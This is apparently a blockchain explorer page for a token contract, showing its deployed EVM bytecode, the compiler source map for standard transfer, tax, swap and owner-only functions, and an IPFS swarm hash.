1633146105e4575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610641575f80fd5b61064d6009600a6112cc565b61065b90633b9aca006112da565b60125561066a6009600a6112cc565b61067890633b9aca006112da565b6013556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b26009600a6112cc565b6106c090633b9aca006112da565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106e8575f80fd5b601754600160a01b900460ff16156106fe575f80fd5b6017805462ff00ff60a01b19166201000160a01b179055565b60055461010090046001600160a01b0316336001600160a01b03161461073b575f80fd5b305f9081526001602052604090205480156107595761075981610d07565b4780156107695761076981610e77565b5050565b5f6104a13384846107fd565b6001600160a01b03831661078b575f80fd5b6001600160a01b03821661079d575f80fd5b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661080f575f80fd5b6001600160a01b038216610821575f80fd5b5f811161082c575f80fd5b60055461010090046001600160a01b03165f9081526001602052604081205461085a906103e8905b90610eb2565b90505f61086e5f546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561089c57505f546001600160a01b03858116911614155b15610b81576108be60646108b86108b1610f35565b8690610eb2565b90610f72565b601754909150600160a01b900460ff16610917576001600160a01b0385165f9081526003602052604090205460ff168061090f57506001600160a01b0384165f9081526003602052604090205460ff165b610917575f80fd5b60055460ff161561097e576016546001600160a01b0385811691161480159061094e57506017546001600160a01b03858116911614155b1561097e57325f90815260046020526040902054431161096c575f80fd5b325f9081526004602052604090204390555b6017546001600160a01b0386811691161480156109a957506016546001600160a01b03858116911614155b80156109cd57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a41576012548311156109e0575f80fd5b60135483610a02866001600160a01b03165f9081526001602052604090205490565b610a0c9190611310565b1115610a16575f80fd5b60118054905f610a2583611323565b91905055506010546011541115610a41576005805460ff191690555b6017546001600160a01b038581169116148015610a6757506001600160a01b0385163014155b15610a7f57610a7c60646108b86108b1610fb3565b90505b305f9081526001602052604090205460145460175490821190600160a81b900460ff16158015610ab85750601754600160b01b900460ff165b8015610ad157506017546001600160a01b038781169116145b8015610ada5750805b8015610afe57506001600160a01b0387165f9081526003602052604090205460ff16155b8015610b2257506001600160a01b0386165f9081526003602052604090205460ff16155b15610b7e575f479050610b55610b5087610b4b86610b4b8a601554610cbf90919063ffffffff16565b610fe9565b610d07565b5f610b6a60646108b860506108544787610cbf565b90508015610b7b57610b7b81610e77565b50505b50505b8015610bf957305f90815260016020526040902054610ba09082610ffd565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf09085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c1b9084610cbf565b6001600160a01b0386165f90815260016020526040902055610c5e610c408483610cbf565b6001600160a01b0386165f9081526001602052604090205490610ffd565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ca78685610cbf565b60405190815260200160405180910390a35050505050565b5f610d0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105b565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d4d57610d4d61133b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc8919061134f565b81600181518110610ddb57610ddb61133b565b6001600160a01b039283166020918202929092010152601654610e019130911684610779565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e399085905f9086903090429060040161136a565b5f604051808303815f87803b158015610e50575f80fd5b505af1158015610e62573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610769573d5f803e3d5ffd5b5f825f03610ec157505f6104a5565b5f610ecc83856112da565b905082610ed985836113d9565b14610d005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b5f60085460115411610f48575060065490565b600854601154118015610f5f5750600c5460115411155b15610f6b5750600a5490565b50600e5490565b5f610d0083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611093565b5f60085460115411610fc6575060075490565b600954601154118015610fdd5750600d5460115411155b15610f6b5750600b5490565b5f818311610ff75782610d00565b50919050565b5f806110098385611310565b905083811015610d005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610f2c565b5f818484111561107e5760405162461bcd60e51b8152600401610f2c91906110bf565b505f61108a84866113f8565b95945050505050565b5f81836110b35760405162461bcd60e51b8152600401610f2c91906110bf565b505f61108a84866113d9565b5f6020808352835180828501525f5b818110156110ea578581018301518582016040015282016110ce565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610492575f80fd5b5f806040838503121561112f575f80fd5b823561113a8161110a565b946020939093013593505050565b5f805f6060848603121561115a575f80fd5b83356111658161110a565b925060208401356111758161110a565b929592945050506040919091013590565b5f60208284031215611196575f80fd5b8135610d008161110a565b5f80604083850312156111b2575f80fd5b82356111bd8161110a565b915060208301356111cd8161110a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561122657815f190482111561120c5761120c6111d8565b8085161561121957918102915b93841c93908002906111f1565b509250929050565b5f8261123c575060016104a5565b8161124857505f6104a5565b816001811461125e576002811461126857611284565b60019150506104a5565b60ff841115611279576112796111d8565b50506001821b6104a5565b5060208310610133831016604e8410600b84101617156112a7575081810a6104a5565b6112b183836111ec565b805f19048211156112c4576112c46111d8565b029392505050565b5f610d0060ff84168361122e565b80820281158282048414176104a5576104a56111d8565b5f60208284031215611301575f80fd5b81518015158114610d00575f80fd5b808201808211156104a5576104a56111d8565b5f60018201611334576113346111d8565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561135f575f80fd5b8151610d008161110a565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113b85784516001600160a01b031683529383019391830191600101611393565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826113f357634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a5576104a56111d856fea26469706673582212202af0763ebecec686a385bac808d46337dd7199ca50b94ade381051770143ffe864736f6c63430008150033

Deployed Bytecode Sourcemap

3613:9130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10830:192;;;;;;;;;;;;;:::i;:::-;;6195:83;;;;;;;;;;-1:-1:-1;6265:5:0;;;;;;;;;;;;-1:-1:-1;;;6265:5:0;;;;6195:83;;;;;;;:::i;:::-;;;;;;;;7028:161;;;;;;;;;;-1:-1:-1;7028:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7028:161:0;1023:187:1;6472:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6472:95:0;1215:177:1;11030:242:0;;;;;;;;;;-1:-1:-1;11030:242:0;;;;;:::i;:::-;;:::i;7197:269::-;;;;;;;;;;-1:-1:-1;7197:269:0;;;;;:::i;:::-;;:::i;4919:58::-;;;;;;;;;;;;;;;;6381:83;;;;;;;;;;-1:-1:-1;6381:83:0;;4606:1;2000:36:1;;1988:2;1973:18;6381:83:0;1858:184:1;5387:149:0;;;;;;;;;;-1:-1:-1;5387:149:0;;;;;:::i;:::-;;:::i;4859:53::-;;;;;;;;;;;;;;;;6575:119;;;;;;;;;;-1:-1:-1;6575:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6668:18:0;6641:7;6668:18;;;:9;:18;;;;;;;6575:119;3458:148;;;;;;;;;;;;;:::i;11884:203::-;;;;;;;;;;;;;:::i;4803:49::-;;;;;;;;;;;;;;;;12195:142;;;;;;;;;;;;;:::i;3280:79::-;;;;;;;;;;-1:-1:-1;3318:7:0;3345:6;3280:79;;-1:-1:-1;;;;;3345:6:0;;;2445:51:1;;2433:2;2418:18;3280:79:0;2299:203:1;6286:87:0;;;;;;;;;;-1:-1:-1;6358:7:0;;;;;;;;;;;;-1:-1:-1;;;6358:7:0;;;;6286:87;;12382:358;;;;;;;;;;;;;:::i;6702:167::-;;;;;;;;;;-1:-1:-1;6702:167:0;;;;;:::i;:::-;;:::i;3954:39::-;;;;;;;;;;-1:-1:-1;3954:39:0;;;;;;;;4984:45;;;;;;;;;;;;;;;;6877:143;;;;;;;;;;-1:-1:-1;6877:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6985:18:0;;;6958:7;6985:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6877:143;10830:192;10894:10;;;;;-1:-1:-1;;;;;10894:10:0;2937;-1:-1:-1;;;;;10878:26:0;;10870:35;;;;;;10940:10;;10932:58;;10917:9;;10940:10;;;-1:-1:-1;;;;;10940:10:0;;10964:21;;10917:9;10932:58;10917:9;10932:58;10964:21;10940:10;10932:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10916:74;;;11009:4;11001:13;;;;;;10859:163;10830:192::o;7028:161::-;7103:4;7120:39;2937:10;7143:7;7152:6;7120:8;:39::i;:::-;-1:-1:-1;7177:4:0;7028:161;;;;;:::o;6472:95::-;6525:7;4662:15;4606:1;4662:2;:15;:::i;:::-;4649:28;;:10;:28;:::i;:::-;6545:14;;6472:95;:::o;11030:242::-;11143:10;;;;;-1:-1:-1;;;;;11143:10:0;2937;-1:-1:-1;;;;;11127:26:0;;11119:35;;;;;;11210:54;;-1:-1:-1;;;11210:54:0;;-1:-1:-1;;;;;5056:15:1;;;11210:54:0;;;5038:34:1;11249:4:0;5088:18:1;;;5081:43;5140:18;;;5133:34;;;11192:6:0;;11210:23;;;;;;4973:18:1;;11210:54:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11108:164;11030:242;;;:::o;7197:269::-;7295:4;7312:36;7322:6;7330:9;7341:6;7312:9;:36::i;:::-;-1:-1:-1;;;;;7390:19:0;;;;;;:11;:19;;;;;;;;2937:10;7390:33;;;;;;;;;7359:77;;7368:6;;7390:45;;7428:6;7390:37;:45::i;:::-;7359:8;:77::i;:::-;-1:-1:-1;7454:4:0;7197:269;;;;;:::o;5387:149::-;5484:4;5500:28;5509:3;5484:4;5521:6;5500:8;:28::i;:::-;5449:87;5387:149;;:::o;3458:148::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2937:10;3407:22;3399:31;;;;;;3565:1:::1;3549:6:::0;;3528:40:::1;::::0;-1:-1:-1;;;;;3549:6:0;;::::1;::::0;3528:40:::1;::::0;3565:1;;3528:40:::1;3596:1;3579:19:::0;;-1:-1:-1;;;;;;3579:19:0::1;::::0;;3458:148::o;11884:203::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2937:10;3407:22;3399:31;;;;;;4662:15:::1;4606:1;4662:2;:15;:::i;:::-;4649:28;::::0;:10:::1;:28;:::i;:::-;11938:12;:22:::0;4662:15:::1;4606:1;4662:2;:15;:::i;:::-;4649:28;::::0;:10:::1;:28;:::i;:::-;11971:16;:26:::0;12008:20:::1;:28:::0;;-1:-1:-1;;12008:28:0::1;::::0;;12052:27:::1;4662:15;4606:1;4662:2;:15;:::i;:::-;4649:28;::::0;:10:::1;:28;:::i;:::-;12052:27;::::0;1361:25:1;;;1349:2;1334:18;12052:27:0::1;;;;;;;11884:203::o:0;12195:142::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2937:10;3407:22;3399:31;;;;;;12261:9:::1;::::0;-1:-1:-1;;;12261:9:0;::::1;;;12260:10;12252:19;;;::::0;::::1;;12284:9;:16:::0;;-1:-1:-1;;;;12311:18:0;-1:-1:-1;;;12311:18:0;;;12195:142::o;12382:358::-;12448:10;;;;;-1:-1:-1;;;;;12448:10:0;2937;-1:-1:-1;;;;;12432:26:0;;12424:35;;;;;;12511:4;12470:20;6668:18;;;:9;:18;;;;;;12532:14;;12528:75;;12561:30;12578:12;12561:16;:30::i;:::-;12634:21;12670:12;;12666:67;;12697:24;12710:10;12697:12;:24::i;:::-;12413:327;;12382:358::o;6702:167::-;6780:4;6797:42;2937:10;6821:9;6832:6;6797:9;:42::i;7474:257::-;-1:-1:-1;;;;;7567:19:0;;7559:28;;;;;;-1:-1:-1;;;;;7606:21:0;;7598:30;;;;;;-1:-1:-1;;;;;7639:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7691:32;;1361:25:1;;;7691:32:0;;1334:18:1;7691:32:0;;;;;;;7474:257;;;:::o;7739:2428::-;-1:-1:-1;;;;;7827:18:0;;7819:27;;;;;;-1:-1:-1;;;;;7865:16:0;;7857:25;;;;;;7910:1;7901:6;:10;7893:19;;;;;;7954:10;;;;;-1:-1:-1;;;;;7954:10:0;7923:18;6668;;;7954:10;6668:18;;;;;;7944:31;;7970:4;;7944:21;:25;;:31::i;:::-;7923:52;;7986:17;8040:7;3318;3345:6;-1:-1:-1;;;;;3345:6:0;;3280:79;8040:7;-1:-1:-1;;;;;8032:15:0;:4;-1:-1:-1;;;;;8032:15:0;;;:32;;;;-1:-1:-1;3318:7:0;3345:6;-1:-1:-1;;;;;8051:13:0;;;3345:6;;8051:13;;8032:32;8028:1770;;;8093:30;8119:3;8093:21;8104:9;:7;:9::i;:::-;8093:6;;:10;:21::i;:::-;:25;;:30::i;:::-;8145:9;;8081:42;;-1:-1:-1;;;;8145:9:0;;;;8140:110;;-1:-1:-1;;;;;8183:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8211:22:0;;;;;;:18;:22;;;;;;;;8183:50;8175:59;;;;;;8270:20;;;;8266:312;;;8329:15;;-1:-1:-1;;;;;8315:30:0;;;8329:15;;8315:30;;;;:62;;-1:-1:-1;8363:13:0;;-1:-1:-1;;;;;8349:28:0;;;8363:13;;8349:28;;8315:62;8311:252;;;8440:9;8411:39;;;;:28;:39;;;;;;8453:12;-1:-1:-1;8403:63:0;;;;;;8518:9;8489:39;;;;:28;:39;;;;;8531:12;8489:54;;8311:252;8606:13;;-1:-1:-1;;;;;8598:21:0;;;8606:13;;8598:21;:55;;;;-1:-1:-1;8637:15:0;;-1:-1:-1;;;;;8623:30:0;;;8637:15;;8623:30;;8598:55;:82;;;;-1:-1:-1;;;;;;8658:22:0;;;;;;:18;:22;;;;;;;;8657:23;8598:82;8594:382;;;8720:12;;8710:6;:22;;8702:31;;;;;;8786:16;;8776:6;8760:13;8770:2;-1:-1:-1;;;;;6668:18:0;6641:7;6668:18;;;:9;:18;;;;;;;6575:119;8760:13;:22;;;;:::i;:::-;:42;;8752:51;;;;;;8824:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8870:18;;8858:9;;:30;8854:107;;;8913:20;:28;;-1:-1:-1;;8913:28:0;;;8854:107;9002:13;;-1:-1:-1;;;;;8996:19:0;;;9002:13;;8996:19;:43;;;;-1:-1:-1;;;;;;9019:20:0;;9034:4;9019:20;;8996:43;8992:127;;;9072:31;9099:3;9072:22;9083:10;:8;:10::i;9072:31::-;9060:43;;8992:127;9184:4;9135:28;6668:18;;;:9;:18;;;;;;9243:20;;9283:10;;9220:43;;;;-1:-1:-1;;;9283:10:0;;;;9282:11;:26;;;;-1:-1:-1;9297:11:0;;-1:-1:-1;;;9297:11:0;;;;9282:26;:49;;;;-1:-1:-1;9318:13:0;;-1:-1:-1;;;;;9312:19:0;;;9318:13;;9312:19;9282:49;:60;;;;;9335:7;9282:60;:89;;;;-1:-1:-1;;;;;;9347:24:0;;;;;;:18;:24;;;;;;;;9346:25;9282:89;:116;;;;-1:-1:-1;;;;;;9376:22:0;;;;;;:18;:22;;;;;;;;9375:23;9282:116;9278:509;;;9419:18;9440:21;9419:42;;9480:80;9497:62;9501:6;9508:50;9512:20;9533:24;9546:10;9533:8;;:12;;:24;;;;:::i;:::-;9508:3;:50::i;9497:62::-;9480:16;:80::i;:::-;9579:22;9604:54;9654:3;9604:45;9646:2;9604:37;:21;9630:10;9604:25;:37::i;:54::-;9579:79;-1:-1:-1;9681:18:0;;9677:95;;9724:28;9737:14;9724:12;:28::i;:::-;9400:387;;9278:509;8066:1732;;8028:1770;9814:13;;9810:168;;9887:4;9869:24;;;;:9;:24;;;;;;:39;;9898:9;9869:28;:39::i;:::-;9860:4;9842:24;;;;:9;:24;;;;;;;:66;;;;9926:40;;-1:-1:-1;;;;;9926:40:0;;;;;;;9956:9;1361:25:1;;1349:2;1334:18;;1215:177;9926:40:0;;;;;;;;9810:168;-1:-1:-1;;;;;10008:15:0;;;;;;:9;:15;;;;;;:27;;10028:6;10008:19;:27::i;:::-;-1:-1:-1;;;;;9990:15:0;;;;;;:9;:15;;;;;:45;10062:40;10080:21;:6;10091:9;10080:10;:21::i;:::-;-1:-1:-1;;;;;10062:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10046:13:0;;;;;;;:9;:13;;;;;:56;;;;10118:41;;;10137:21;:6;10148:9;10137:10;:21::i;:::-;10118:41;;1361:25:1;;;1349:2;1334:18;10118:41:0;;;;;;;7808:2359;;7739:2428;;;:::o;453:136::-;511:7;538:43;542:1;545;538:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;531:50;453:136;-1:-1:-1;;;453:136:0:o;11393:483::-;5313:10;:17;;-1:-1:-1;;;;5313:17:0;-1:-1:-1;;;5313:17:0;;;11495:16:::1;::::0;;11509:1:::1;11495:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11495:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11495:16:0::1;11471:40;;11540:4;11522;11527:1;11522:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11522:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11566:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11566:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11522:7;;11566:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11556:4;11561:1;11556:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11556:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11631:15:::1;::::0;11599:62:::1;::::0;11616:4:::1;::::0;11631:15:::1;11649:11:::0;11599:8:::1;:62::i;:::-;11672:15;::::0;:196:::1;::::0;-1:-1:-1;;;11672:196:0;;-1:-1:-1;;;;;11672:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11753:11;;11672:15:::1;::::0;11795:4;;11822::::1;::::0;11842:15:::1;::::0;11672:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5353:10:0;:18;;-1:-1:-1;;;;5353:18:0;;;-1:-1:-1;;;;11393:483:0:o;12095:92::-;12152:10;;:27;;:10;;;;-1:-1:-1;;;;;12152:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;795:246;853:7;877:1;882;877:6;873:47;;-1:-1:-1;907:1:0;900:8;;873:47;930:9;942:5;946:1;942;:5;:::i;:::-;930:17;-1:-1:-1;975:1:0;966:5;970:1;930:17;966:5;:::i;:::-;:10;958:56;;;;-1:-1:-1;;;958:56:0;;7659:2:1;958:56:0;;;7641:21:1;7698:2;7678:18;;;7671:30;7737:34;7717:18;;;7710:62;-1:-1:-1;;;7788:18:1;;;7781:31;7829:19;;958:56:0;;;;;;;;10175:317;10216:7;10253:15;;10240:9;;:28;10236:82;;-1:-1:-1;10292:14:0;;;10175:317::o;10236:82::-;10346:15;;10334:9;;:27;:64;;;;;10378:20;;10365:9;;:33;;10334:64;10330:123;;;-1:-1:-1;10422:19:0;;;10175:317::o;10330:123::-;-1:-1:-1;10472:12:0;;;10175:317::o;1049:132::-;1107:7;1134:39;1138:1;1141;1134:39;;;;;;;;;;;;;;;;;:3;:39::i;10500:322::-;10542:7;10579:15;;10566:9;;:28;10562:83;;-1:-1:-1;10618:15:0;;;10500:322::o;10562:83::-;10673:16;;10661:9;;:28;:66;;;;;10706:21;;10693:9;;:34;;10661:66;10657:126;;;-1:-1:-1;10751:20:0;;;10500:322::o;11280:105::-;11337:7;11367:1;11363;:5;11362:15;;11376:1;11362:15;;;-1:-1:-1;11372:1:0;11280:105;-1:-1:-1;11280:105:0:o;266:179::-;324:7;;356:5;360:1;356;:5;:::i;:::-;344:17;;385:1;380;:6;;372:46;;;;-1:-1:-1;;;372:46:0;;8061:2:1;372:46:0;;;8043:21:1;8100:2;8080:18;;;8073:30;8139:29;8119:18;;;8112:57;8186:18;;372:46:0;7859:351:1;597:190:0;683:7;719:12;711:6;;;;703:29;;;;-1:-1:-1;;;703:29:0;;;;;;;;:::i;:::-;-1:-1:-1;743:9:0;755:5;759:1;755;:5;:::i;:::-;743:17;597:190;-1:-1:-1;;;;;597:190:0:o;1189:189::-;1275:7;1310:12;1303:5;1295:28;;;;-1:-1:-1;;;1295:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1334:9:0;1346:5;1350:1;1346;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3110:127::-;3171:10;3166:3;3162:20;3159:1;3152:31;3202:4;3199:1;3192:15;3226:4;3223:1;3216:15;3242:422;3331:1;3374:5;3331:1;3388:270;3409:7;3399:8;3396:21;3388:270;;;3468:4;3464:1;3460:6;3456:17;3450:4;3447:27;3444:53;;;3477:18;;:::i;:::-;3527:7;3517:8;3513:22;3510:55;;;3547:16;;;;3510:55;3626:22;;;;3586:15;;;;3388:270;;;3392:3;3242:422;;;;;:::o;3669:806::-;3718:5;3748:8;3738:80;;-1:-1:-1;3789:1:1;3803:5;;3738:80;3837:4;3827:76;;-1:-1:-1;3874:1:1;3888:5;;3827:76;3919:4;3937:1;3932:59;;;;4005:1;4000:130;;;;3912:218;;3932:59;3962:1;3953:10;;3976:5;;;4000:130;4037:3;4027:8;4024:17;4021:43;;;4044:18;;:::i;:::-;-1:-1:-1;;4100:1:1;4086:16;;4115:5;;3912:218;;4214:2;4204:8;4201:16;4195:3;4189:4;4186:13;4182:36;4176:2;4166:8;4163:16;4158:2;4152:4;4149:12;4145:35;4142:77;4139:159;;;-1:-1:-1;4251:19:1;;;4283:5;;4139:159;4330:34;4355:8;4349:4;4330:34;:::i;:::-;4400:6;4396:1;4392:6;4388:19;4379:7;4376:32;4373:58;;;4411:18;;:::i;:::-;4449:20;;3669:806;-1:-1:-1;;;3669:806:1:o;4480:140::-;4538:5;4567:47;4608:4;4598:8;4594:19;4588:4;4567:47;:::i;4625:168::-;4698:9;;;4729;;4746:15;;;4740:22;;4726:37;4716:71;;4767:18;;:::i;5178:277::-;5245:6;5298:2;5286:9;5277:7;5273:23;5269:32;5266:52;;;5314:1;5311;5304:12;5266:52;5346:9;5340:16;5399:5;5392:13;5385:21;5378:5;5375:32;5365:60;;5421:1;5418;5411:12;5460:125;5525:9;;;5546:10;;;5543:36;;;5559:18;;:::i;5590:135::-;5629:3;5650:17;;;5647:43;;5670:18;;:::i;:::-;-1:-1:-1;5717:1:1;5706:13;;5590:135::o;5862:127::-;5923:10;5918:3;5914:20;5911:1;5904:31;5954:4;5951:1;5944:15;5978:4;5975:1;5968:15;5994:251;6064:6;6117:2;6105:9;6096:7;6092:23;6088:32;6085:52;;;6133:1;6130;6123:12;6085:52;6165:9;6159:16;6184:31;6209:5;6184:31;:::i;6250:980::-;6512:4;6560:3;6549:9;6545:19;6591:6;6580:9;6573:25;6617:2;6655:6;6650:2;6639:9;6635:18;6628:34;6698:3;6693:2;6682:9;6678:18;6671:31;6722:6;6757;6751:13;6788:6;6780;6773:22;6826:3;6815:9;6811:19;6804:26;;6865:2;6857:6;6853:15;6839:29;;6886:1;6896:195;6910:6;6907:1;6904:13;6896:195;;;6975:13;;-1:-1:-1;;;;;6971:39:1;6959:52;;7066:15;;;;7031:12;;;;7007:1;6925:9;6896:195;;;-1:-1:-1;;;;;;;7147:32:1;;;;7142:2;7127:18;;7120:60;-1:-1:-1;;;7211:3:1;7196:19;7189:35;7108:3;6250:980;-1:-1:-1;;;6250:980:1:o;7235:217::-;7275:1;7301;7291:132;;7345:10;7340:3;7336:20;7333:1;7326:31;7380:4;7377:1;7370:15;7408:4;7405:1;7398:15;7291:132;-1:-1:-1;7437:9:1;;7235:217::o;8215:128::-;8282:9;;;8303:11;;;8300:37;;;8317:18;;:::i

Swarm Source

ipfs://2af0763ebecec686a385bac808d46337dd7199ca50b94ade381051770143ffe8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.